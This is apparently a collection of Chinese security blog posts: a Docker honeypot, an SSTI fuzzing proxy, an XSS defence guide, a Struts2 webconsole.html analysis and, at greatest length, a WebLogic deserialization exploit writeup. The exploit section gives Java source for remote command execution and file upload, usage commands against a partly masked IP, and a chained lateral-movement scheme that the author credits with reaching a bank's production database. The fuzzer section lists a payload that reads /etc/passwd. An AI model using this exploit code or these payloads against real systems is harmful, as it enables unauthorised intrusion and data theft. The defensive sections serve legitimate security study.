Dionaea:基于Docker的蜜罐系统

项目主页

https://github.com/atiger77/Dionaea

简介

web_dionaea为企业内部web类蜜罐,用来捕捉APT,内鬼及被内鬼等入侵行为。项目使用Django编写,使用Docker运行方便部署。

注:项目前端部分由ID:chanyipiaomiao帮忙完成

部署方式

  1. 自定义蜜罐名称;修改/web_dionaea/templates/index.html中的对应title
  2. 制作蜜罐镜像;#docker build -t "web_dionaea" .
  3. 创建蜜罐容器;#docker run -d -p 80:80 -v /opt:/tmp --restart=always web_dionaea
  4. 添加计划任务;*/5 * * * * /bin/bash /opt/Check.sh

登录界面

web_dionaea_01.png

日志截图

web_dionaea_02.png

分析脚本执行结果

web_dionaea_03.png

注意事项

这个dockerfile我没有直接构建push到dockerhub,可以任意修改成自己想要的样子,Check.sh脚本默认是在centos7环境下执行,修改Dionaea_HostIP值可直接兼容其他环境。有问题与我联系:d2VjaGF0OmF0aWdlcjc3

一个Fuzzing服务器端模板注入漏洞的半自动化工具

  1. 背景

乌云还在的时候,猪猪侠爆一个XX银行的OGNL表达式注入漏洞,拿到了第一滴血。然后,唐朝实验室爆了个Spring-Boot的SPEL注入漏洞,虽然不是第一滴血,但是让我有了一个想法。因为看到过曾经黑帽大会有国外研究者写的一个很好的Paper:名字:us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf 里面提到了服务器端模板注入导致的远程命令执行类型漏洞产生。

  1. 萌芽

我对远程命令执行漏洞的理解就是以各种方式直接或间接的导致远程服务器执行成功了你想要让它执行的系统命令的一类漏洞,英文叫:Remote Command Execute Vulnerability(简称RCE漏洞),这是一种很简单暴力的漏洞,一种一言不合就可以rm -rf /或者 format /fs C: 的致命漏洞。哪么都有些什么类型的命令执行漏洞,可以看看exploit-db上关于RCE漏洞的exp有哪些。点击查看

下面是我简单的归了一下类别,RCE漏洞包括但不限于下面提到的。

- 应用程序开发框架里的RCE

这里的框架包括但不仅限于:Struts2框架/xwork框架,ThinkPhp框架,Spring框架 ,IOSurface编程框架类

- 中间件平台/服务应用平台的RCE

这里的代表就举例之前火的JAVA反序列化漏洞影响下的:WebLogic/Jboss/WebSphere/Jenkins、还有比如IIS,nginx,apache因文件名解析,路径解析问题导致的命令执行类,还有Elasticsearch,Redis,Zabbix ,mongodb等各种为业务应用,为数据存储提供服务的软件的命令执行类。

- 应用程序里的RCE

应用程序编写中调用系统API接口,调用系统命令执行函数,程序中系统命令执行相关方法的不恰当使用等导致的一类。

- 第三方应用里的RCE

最喜闻乐见的就是各种CMS被曝SQL注入,命令执行漏洞,代码执行漏洞,这类CMS共同特点就是支持第三方插件,支持用户对原cms程序框架结构进行改造。当然还有之前火了的ImageImagick图形处理库的RCE,和 fffmep导致的RCE等等。

- 等等等

穷尽脑汁就想到了上面这些,有遗漏的典型分类还望大牛多多留言不吝赐教。

然后我好奇的上乌云搜了搜公开的漏洞里(PS: 打开虚拟机搜了搜)关键字:命令执行 的案例。

1-16.png

公开的有2373个案例,119页,我翻了很多页案例,其中以刷Struts2的S2-xxx的最多。命令执行漏洞案例里我看到了下面几类:

- OGNL表达式|程序代码注入导致的RCE

1.Struts2的S2-xxx系列,

2.参数里注入或直接传值OGNL表达式,

3.变量名里或参数里注入编程语言基本语法代码

- 系统命令注入|模板代码注入导致的RCE:

1.变量名里或参数里注入系统命令,

2.变量名里或参数里注入框架模板代码,

- 配置或业务设计不当导致的RCE

1.RMI对外匿名开放或服务未授权导致

2.文件解析执行绕过

3.缓存模板,日志记录,请求信息等被带入奇葩业务执行的

4.业务应用接口,系统接口等权限不当导致的

- 等等。。。

我的重点放在了参数中被带入了系统命令,程序代码,OGNL表达式,模板代码之类导致的RCE漏洞发生的情况。这类情况,有个共同点,大都是通过HTTP/HTTPS请求出现。之前,顺着之前流行的sqlmapapi的思路,我想是否可以同样实现一个, 你上着网就把漏洞给挖出来了呢?萌生了这个想法,于是就有了这么个小脚本。

  1. 实现.

基于sqlmapapi的实现思路,同样用到了代理正常流量,提取Fuzzing点,带入测试payload进行Fuzzing测试。

实现环境:

  • Python 2.7.8 ,Win8.1 x64

第三方模块(版本):

  • requests (2.9.1)、tornado (4.3)

先用Tornado实现代理正常上网,定义SSTIF_Fuzz类用于进行测试,SSTIF_Fuzz类里面定义了下面的函数:

  1. _init_payloads_: 初始化各种测试payload的函数,里面现在已经具备了一些测试payload,包括通用的,PHP基础代码,JAVA语法的,OGNL表达式,EL表达式,SPEL表达式,Groovy测试payload,鸟哥爆的CA
    technologies存在远程命令执行漏洞poc.(暂时就这么多,会不断补充,除非证明此思路此脚本不可行。)
  2. HttpHelper
    :发出带有payload的构造好的请求,根据规则(响应数据包括字符串:10516*61501的结果:646744516,或者在自己配置的cloudeye里面手工确认)判定是否存在RCE漏洞。
  3. Fuzzing_GET
    :分析GET请求中的变量-值(key-value)组合,目前是对每一个value进行测试,未实现对key即变量名进行测试。
  4. Fuzzing_HEADER:未实现,因为在乌云的案例中,发现有在Referer中,注入命令导致的RCE的案例,所以未来会考虑对这里的参数进行测试。
  5. FileHelper:将测试可能存在RCE漏洞的记录在rce_success_result.txt文件里,格式例如:

    +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+
    +=+URL: http://202.111.222.333/index.jsp?id=1111&page=222&count=123
    +=+method: GET
    +=+param: id
    +=+payload: java.lang.Runtime.getRuntime().exec('cat</etc/passwd;$BASH')
    +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+

记录上面的一条,就可以比较清晰的看出要表达的意思了。

  1. 使用.

1、安装第三方模块

pip install requests
pip install tornado

2、修改SSTIF_Fuzz类中配置文件:

大概在第49行:

self.my_cloudeye = “xxxx.dnslog.info” 这里配置为你的dnslog的域名地址。

3、然后找到一个没有使用的端口,命令:

python ssitf.py 8081 启用代理监听8081端口

4、和设置burpsuite一样,浏览器设置通过8081代理端口上网,然后后面就像使用Sqli半自动化工具那样安心上你的网吧。

注意:

ProxyHandler类中定义了黑名单请求后缀,域名黑名单,这是为了避免带来麻烦的,可以自己添加:大概在246-250行代码处:

url_ext_black = ['ico','flv','css','jpg','png','jpeg','gif','pdf','ss3','txt','rar','zip','avi','mp4','swf','wmi','exe','mpeg']
domain_black = ['gov.cn','gov.com','mil.cn','police.cn','127.0.0.1','localhost','doubleclick','cnzz.com','baidu.com','40017.cn','google-analytics.com','googlesyndication','gstatic.com','bing.com','google.com','sina.com','weibo.com']
  1. 总结.

这个脚本做了什么:

  • 从乌云上,从国外的研究者paper上拔下来了一些payload,作为fuzzing的依据。
  • 实现了代理,从正常上网流量中提取GET和POST请求中的提取有效的参数作为Fuzzing测试点。
  • 实现了个初级版本。

反思不足:

  • payload是固定死的,这是一大弊端。
  • 无法支持HTTPS流量的处理,这是技术盲点。
  • Fuzzing太慢,目前是单线程的。
  • Fuzzing情况考虑不全,应该是思路和认知盲点。
  • 没有考虑狗,软硬防护产品的拦截绕过问题。

最后,看了很多案例,RCE其实就是插入那些东西进去,带入那些东西进去就可以简单初步判断是否存在该漏洞了,我感觉这是一种不错的思路,只是要实现自己的自动化挖掘漏洞神器还是长路漫漫~

Github地址:

SSTIF

欢迎测试,提出意见~

国外的一个自动化服务端模板注入检测和利用工具:https://github.com/epinna/tplmap http://www.mottoin.com/91727.html

如何使用开源组件解决web应用中的XSS漏洞

本文包含以下内容:

  • XSS概述
  • XSS的防御原则
  • 开源组件的使用

XSS(跨站脚本攻击)漏洞是Web应用程序中最常见的漏洞之一,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马等。根据其触发方式的不同,可以分为反射型XSS、存储型XSS和DOM-base型XSS。漏洞“注入理论”认为,所有的可输入参数,都是不可信任的。通常我们说的不可信任的数据是指来源于HTTP客户端请求的URL参数、form表单、Headers以及Cookies等,但是,与HTTP客户端请求相对应的,来源于数据库、WebServices、其他的应用接口数据也同样是不可信的,这即是反射型XSS与存储型XSS的本质区别。+

一般来说,我们可以通过XSS漏洞的表现形式来区分漏洞是反射型、存储型、DOM-base三种中的哪一种类型。

其name参数的值为<script>alert(1);</script>,这样的参数值进入程序代码后未做任何处理,从而被执行。其代码如下图:

01.png

  • 存储型XSS是指恶意脚本代码被存储进数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存储的非法数据,导致恶意脚本代码被执行。通常代码结构如下图:

02.png

其发生XSS的根本原因是服务器端对写入数据库中的内容未做javascript脚本过滤。

  • DOM-base型XSS是指在前端页面进行DOM操作时,带有恶意代码的片段被HTML解析、执行,从而导致XSS漏洞。

无论是哪种类型的XSS漏洞,其解析完成后,漏洞利用的代码基本雷同的。在日常工作中,常见的XSS漏洞Exploit攻击点有:

  • 恶意js的引用

03.png

  • Img标签(以img为例,下同)

04.png

  • 大小写绕过安全检测

05.png

  • 破坏原始标签结构

06.png

  • 基于标签事件触发

07.png

  • fromCharCode编码绕过

08.png

  • javascript 转码

09.png

  • HTML转码

10.png

  • 混合型

11.png

  • CSS文本

12.png

  • CSS属性值

13.png

基于XSS上面所述的特性,在XSS的频发代码中,我们通常遵循以下处理规则:

14.png

从上表中我们可以看出,ESAPI、HeadLines、AntiSamy、HTML Sanitizer 是开源组件中防御功能比较全面的4个,其中ESAPI、HeadLines除了对XSS具有很好的防御能力外,还对OWASP TOP 10中其他的安全漏洞都具有规范处理的能力。在单纯性地讨论其对XSS的防御能力时,我们需要看具体的应用场景或者需求点。如果仅仅是对客户端提交的简单的请求参数(通常指form表单域,不包含复杂文本和可编辑文本)做安全过滤,则HTML Sanitizer、Java Encoder都可以作为首选解决方案;如果不但对客户端提交的简单的请求参数做安全处理,而且,应用中会涉及复杂文本,类似于BBCode文本之类的数据处理,通常会首选AntiSamy作为解决方案;如果除了以上两点外,还需要做同源策略安全、Http Header安全、Cookies安全,则通常会首选HeadLines作为解决方案;如果还有更多层次的用户安全、Session会话安全、口令或随机数安全等,则ESAPI和Apache Shiro将会被考虑。那么,具体到某个软件项目中,是如何使用开源组件对XSS漏洞进行防护的呢?下面就以Java语言为例,对处理过程做简要的阐述。

第一步:确定使用的开源组件

首选是确定使用的开源组件,只有开源组件确定下来,才能确定解决方案的细节部分。在选择开源组件之前,要理解业务涉及的需求点,以免遗漏。一般来说,简单文本参数使用HTML Sanitizer,复杂文本参数使用AntiSamy。

第二步:定义安全过滤器

针对于XSS的处理,常用的解决办法是使用过滤器(Filter),由Filter中的doFilter方法对参数的内容进行安全过滤操作。其代码核心结构如图所示:

15.png

第三步:处理XSS

编写处理XSS函数clearXSS时,我们会根据所选择的开源组件不同而编写方式有所不同。当我们把开源组件的jar和依赖库添加到项目中之后,主要的工作是对此函数功能的实现,实现的基本思路是:从Request对象中获取请求的参数和http消息头,遍历每一个参数,如果某个参数值存在XSS,则对该值进行处理(过滤、编码、转义、拦截等),处理完毕后再重新赋值。 如果使用HTML Sanitizer,你的核心代码可能是

16.png

或者使用了Java Encoder,代码类似:

17.png

如果使用了AntiSamy,代码或许类似于

18.png

在HTML Sanitizer和AntiSamy中,我们都看到一个词:Policy,Policy即XSS防护策略,是指在XSS的文本进行处理时,按照怎么的规则去处理数据块:哪些html标签或属性是允许存在的,哪些的需要转义的,哪些是需要进行格式校验的,哪些是需要移除的等,这些都是在策略文件里去定义的。 HTML Sanitizer组件中,包含5个预定义的策略,具体在使用中,我们可以根据自己的需求选择某个策略。这5个策略的内容分别是:

19.png

AntiSamy组件中对策略的定义相对复杂些,是由配置文件中多个选项指定的。其配置如图所示:

20.png

AntiSamy的策略配置是由规则(tag-rule、css-rule)来控制Antisamy对html标签(tag)、属性(attribute)中不可信数据做怎样的操作行为(action),其中操作行为可分为校验(validate)、过滤(filter)、清空(truncate)、移除(remove)。根据定义的操作行为,可以对不可信数据进行移除、清空、过滤和校验操作。当对不可信数据进行校验时,比如input标签,我们可以校验align属性值指定枚举值范围为left,right,top,middle,bottom,也可以校验value值是否匹配既定义的正则表达式,如图中common-regexps和common-attributes节点所示。Antisamy依据策略文件的具体配置,对传入的不可信数据,按照定义的规则对数据进行处理,最终返回可信的文本,即代码段中的cr.getClearHTML函数的返回值。当原来的不可信数据,经过处理变成可信数据,我们防护XSS的目的也就达到了。与HTML Sanitizer类似的是,AntiSamy除了默认的antisamy.xml外,也提供5个策略模板文件:antisamy-anythinggoes.xml、antisamy-ebay.xml、antisamy-myspace.xml、antisamy-slashdot.xml、antisamy-tinymce.xml。其中ebay的模板文件使用广泛,在实际项目中,可以直接使用此策略模板或者在其基础上修改即可。

第四步:添加http响应头XSS防护

完成clearXSS函数之后名,我们需要对http响应头添加XSS防护策略。通过clearXSS函数调用是在服务器层对XSS做防护,而添加http响应头XSS防护策略是从客户端浏览器层面防护XSS。常用的参数有:

21.png

其核心代码大体如下:

22.png

第五步:启用安全过滤器

完成安全过滤器对不可信数据处理的编码逻辑之后,我们需要启用它。启用的过程即配置的过程,目的是使安全过滤器生效,这需要在web.xml中配置,并对所有请求进行拦截,其基本配置如下:

23.png

通过以上步骤的处理, web应用中因前端输入导致的XSS数据基本得以解决,但在实际的项目中,发生XSS的点可能各不相同,不是仅仅用一个安全过滤器进行全局拦截处理即可托付全盘那么简单。例如通过文件导入引发的XSS漏洞,则需要单独编码,调用开源组件对XSS进行防护。总之,无论是XSS漏洞还是其他的漏洞,安全防护是一个动态的概念,在进行XSS防护过程中,我们需要根据实际情况,不断地调整处理策略(Policy),以达到既能满足安全需要,正确处理非法的、不安全的数据,又能满足业务需要,不会错误拦截或处理了正常业务数据的最终目标。

Struts2中webconsole.html漏洞利用完全剖析

近来,随着Struts2漏洞接二连三地被披露,企业对Struts2的心理安全指数也在降低,很多企业或者安全从业人员,在日常的安全检测或者扫描过程中有点草木皆兵,如果发现了webconsole.html页面,则判断系统存在Struts2漏洞,要求各个厂商做对应的安全整改。那么出现webconsole.html页面到底是不是Struts2的安全漏洞呢?

首先,我们来看看Struts2框架中为什么会存在webconsole.html。 在Struts的官网的Debuggin页面中,有如下一段话:

The Debugging Interceptor provides three debugging modes to provide insight into the data behind the page. The xml mode formats relevant framework objects as an XML document. The console mode provides a OGNL command line that accepts entry of runtime expressions, and the browser mode adds an interactive page that display objects from the Value Stack.

我们注意引文被我加粗标注出来的句子,从这里我们可以看出来,此交互页面(即struts/webconsole.html)是Struts官方为了方便开发人员进行Debug而提供的功能。基于此,我们应该有第一个基本的认识:这是调试功能,只有在调试模式下才能使用。

接着,我们看到此文档中还有如下语句的描述:

s2_01.png

从这段话中,我们可以看出,Struts2的Debug功能,只有在开启了此功能,即配置了: <constant name="struts.devMode" value="true" /> 基于此,我们应该有第二个认识:struts/webconsole.html的调试功能只有在启用了调试参数的情况下才会生效,否则即使看到此页面,也不具有调试的功能。+

那么,是不是说,只要开启了Debug模式,struts/webconsole.html就可以进行交互了呢?答案当然是否定的。当我们访问struts/webconsole.html,使用浏览器,按F12进行查看就会发现,webconsole.html页面中加载了几个js脚本。如下图所示:

s2_02.png

从图中我们可以看出,webconsole.html页面与后端交互时,使用了Dojo的js框架来完成请求和应答处理,也就是说,webconsole.html页面可以与后端进行正常交互的前提是,项目中使用了Dojo的lib库。而在Struts2中,有一个jar,专门供此功能使用的。如下图:

s2_03.png

基于此,我们应该有更深一层的认识:只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。

这时我们该明白,如果应用程序中使用了Struts2,启用了Debug模式,且ClassPath中包含了struts2-dojo-plugin-*.jar,那么,当我们访问http://ip:port/app_name/struts/webconsole.html 即可以看到如图中所示的交互界面。但是,看到了界面,就真的可以交互了么?我们接下来看看一下webconsole.html中提交事件是如何触发的?

s2_04.png

如上图中的箭头所示,当我们在页面输入内容释放键盘操作时,调用的javascript函数为keyEvent(event),我们再来跟踪一下这个函数,发现它存在于webconsole.js中,其关键代码如下图:

s2_05.png

当触发此函数时,需要两个参数,一个是event,一个是url。event表示键盘的动作事件,这比较好理解,那么url是什么呢?为什么此处并没有传递调用呢?在图中的53行我们看到源码如下: var the_url = url ? url : window.opener.location.pathname; 这句代码的语义是:如果存在url参数则使用url参数,如果不存在,则使用当前对象的父对象的url(相当于使用referer作为url的值)。很显然,此处url值不存在,只能使用当前对象的父对象的url。因此,要想能交互地使用此页面,必须有一个页面作为父页面,打开webconsole.html才可以。故我们需要有一个前置的页面,然后我们在页面上可以通过浏览器调试功能,添加如下代码: <a href="struts/webconsole.html" target="_blank">Click Me</a> 页面如图所示:

s2_06.png

s2_07.png

基于此,我们应该有第四个认识:webconsole.html是否能交互是需要有指定接受消息的url路径。
那么,是不是所有的url都可以进行交互呢?当然答案也是否定的。我们都知道webconsole.html主要用来进行Debug,其使用OGNL表达式,而OGNL表达式需要以Struts2的Action为入口,也就是说,通常情况下,这个url的路径类似于http://ip:port/app_name/xxx.action,是以action结尾的,且其实现类必须集成于com.opensymphony.xwork2.ActionSupport (后面的原理与S2-032一致),只有基于以上叙述的所有条件都满足的情况下,webconsole.html才是真正可交互的。
说到这里,我想你应该明白什么样的情况下你所看到的webconsole.html才是存在安全风险的。至于你可能出于安全目的,在禁用了devMode之后,仍然不希望其他人员看到webconsole.html页面,则可以直接删除webconsole.html的源文件,它的位置存在于:

s2_08.png

我们手工删除struts2-core-*.jar\org\apache\struts2\interceptor\debugging\文件夹下的browser.ftlconsole.ftlwebconsole.htmlwebconsole.js即可。删除完毕后,当我们再次访问,将会出现404页面。

我是如何造Weblogic反序列化漏洞EXP的轮子

  1. 简介

从国内开始讨论分析Weblogic、Jboss、Websphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:

  1. 目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。
  2. 目标以及目标所在内网环境均为Linux或Unix服务器。
  3. 通过各种手段,只能拿到反弹shell或者webshell

上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)。

  1. 思路及实现

改写的 Weblogic EXP同样满足4个功能需要,分别如下:

  1. 连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。
  2. 上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。
  3. 执行命令:输入命令,执行命令并回显。
  4. 断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。

EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。

1. 连接目标

连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了Bird的Exp中关键的payload,我将payload归纳定义为下面的变量:

使用Socket利用方式的payload:

  1. payload_socket_win_init
  2. payload_socket_win_open_port
  3. payload_socket_linux_init
  4. payload_socket_linux_open_port

使用RMI利用方式的payload:

  1. payload_rmi_win_init
  2. payload_rmi_win_class
  3. payload_rmi_linux_ini
  4. payload_rmi_linux_class

我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。

定义socket方法如下:

201612221482374424514489.png

58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:

HELO:10.3.5.0.false
AS:2048
HL:19

HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。

下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:

201612221482374472528801.png

72行是程序的执行入口

73——74行获取我们输入目标IP或域名,获取目标端口

我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socket和RMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。

201612221482374491493168.png

Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payload,exp实现的socket、rmi方式,针对linux和windows的一共8个payload,都在我的exp脚本里面。

Exp中Socket利用方式默认以65500端口作为Socket服务器的监听端口。

测试windows目标:

  • Weblogic10.3.5版本

效果:

连接脚本目标目标之前:

201612221482374525823507.png

连接之后:

201612221482374593897517.png

在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。

2. 执行命令

执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图:

201612221482374619386654.png

二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)

实现代码大概如下:

public class JavaExp {
    
    private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp";
    private static String remoteLinuxPath = "/tmp/H3y5ec.tmp";  
    private static String Notices = ""
            + "用法:\n"
            + "1.一句话命令执行:\n"
            + "例子:java exp.jar 127.0.0.1 7001 'net user'\n"
            + "2.文件上传\n"
            + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n";
    private static RemoteObject remote;
    public static void main(String[] args) throws NamingException {
        if(args.length <3){
            System.out.println("参数错误!!\n");
            System.out.println(Notices);
            System.exit(0);
        }
            String host = args[0];
            String port = args[1];
            String order =  args[2];
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial",
                    "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", "t3://"
                    +host+ ":" + port);
            try {
                Context ctx = new InitialContext(env);
                remote = (RemoteObject) ctx
                        .lookup("RemoteObject");
            try {
                if("unbind".equals(order)){
                    try {
                        remote.unbind(remoteWindowsPath);
                        remote.unbind(remoteLinuxPath);
                        System.out.println("unbind_OK");
                        return ;
                    } catch (Exception e) {
                    }
                }
                if("upload".equals(order)){
                    if(args.length <5){
                        System.out.println("参数错误!!\n");
                        System.out.println(Notices);
                        System.exit(0);
                    }
                    String localfilePath =  args[3];
                    String remotefilePath = args[4];
                    
                    UploadFile(localfilePath,remotefilePath);
                }else{
                    String result = remote.exec(order);
                    System.out.print("result:\n"+result);   
                }
            } catch (Exception e) {
            }
        } catch (Exception e) {
            System.out.println("ConnectFailed");
        }
    }
    public static void UploadFile(final String localfilePath,final String remotefilePath){
        new Thread(new Runnable() {
            @Override
            public void run() {
                FileInputStream fileInputStream = null;
                try {
                    File file = new File(localfilePath);
                    fileInputStream = new FileInputStream(file);
                    long total = file.length();
                    byte[] data = new byte[100 * 1024];
                    double sendedLen = 0;
                    NumberFormat nf = NumberFormat.getPercentInstance();
                    int len = fileInputStream.read(data);
                        if (len != -1) {
                            if (remote.upload(remotefilePath,
                                    Arrays.copyOfRange(data, 0, len),
                                    false)) {
                                sendedLen = sendedLen + len;
                                System.out.println("上传中...已完成"
                                        + nf.format(sendedLen / total));
                                while ((len = fileInputStream
                                        .read(data)) != -1) {
                                    if (!remote.upload(remotefilePath,
                                            Arrays.copyOfRange(data, 0,
                                                    len), true)) {
                                        System.out.println("上传失败!");
                                        break;
                                    }
                                    sendedLen = sendedLen + len;
                                    System.out.println("上传中...已完成"
                                            + nf.format(sendedLen
                                                    / total));
                                }
                                if (len == -1) {
                                    System.out.println("上传成功!");
                                }
                            } else {
                                System.out.println("上传失败!");
                            }
                        } else {
                            System.out.println("上传失败!");
                        }
                } catch (Exception e) {
                    System.out.println("上传失败!");
                } finally {
                    try {
                        fileInputStream.close();
                    } catch (IOException e1) {
                    }
                }
            }
        }).start();
    }
}

从代码的实现功能来看,那么执行命令的调用就是这样的:

Java –jar xxxx.jar Ip port “command”

201612221482374653864672.png

使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下:

201612221482374678496703.png

4. 断开连接

使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下:

201612221482374706924547.png

0x03 EXP使用手册

usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD]
                           [-lfile LFILE] [-rfile RFILE]
optional arguments:
-h, --help       show this help message and exit——查看帮助
  -target TARGET  the target ip or domain.——指定目标IP或域名
  -port PORT      the target port.——指定目标端口
  -cmd CMD      [init|command|bye|upload]——
选择类型:
Ø  init : exp会上传payload,尝试利用反序列化漏洞。
Ø  command: 执行一句话命令
Ø  bye: 断开目标,清空上传在目标服务器上的payload文件。
Ø  upload: 进入上传文件模式,后面必须补充lfile和rfile参数。
  -lfile LFILE      local file.——本地文件绝对路径。
  -rfile RFILE     remote file.——上传文件在目标服务器上保存的绝对路径。

1. 连接目标

用法:

python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init

效果:

201612221482374746540497.png

201612221482374769426195.png

2. 执行一句话命令

用法:

python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"

201612221482374821106195.png

201612221482374847251774.png

3. 上传文件

使用py脚本用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"

或者使用辅助jar文件:

上传文件:

201612221482374877860081.png

或者:

201612221482374910205682.png

查看文件:

201612221482374936378794.png

或者:

201612221482374963123522.png

上传文件:

201612221482375011949492.png

查看文件:

201612221482375058549613.png

4.断开目标

用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye

201612221482375116984623.png

201612221482375141836185.png

0x04 总结

写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。

总结一下造的这个轮子的功能。

  1. 适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于Windows和Linux了。)
  2. 支持一句话命令执行。
  3. 支持文件上传

PS: windows和linux攻击exp轮子会在文章最后附上,下面是一片瞎想。

0x05 瞎想

突然冒出的想法:“蚯蚓式”攻击:

假如有这样的环境:A 、B、C、D…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… 第N层内网。

A ——B——C——D——…….N

A:是内网入口

B 、C、D…..是2层、3层、4层….N层内网主机,都存在weblogic反序列化漏洞。

那么我们就可以用这个轮子,一层一层的把他们串起来。

1、攻击者 VS 服务器A

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd init

上传攻击EXP轮子到A服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”

2、 已沦陷的A服务器 VS B服务器

python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init”

控制A上传攻击EXP轮子到B服务器上

python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”

3、已沦陷的B服务器 VS C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”

让A服务器控制B服务器上传EXP轮子到C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”

4、……不断往下个”蚯蚓式攻击”

上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是B、C、D都在第二层内网,我控制了A,通过A控制了第二层内网3-4台Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的“蚯蚓式攻击”很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??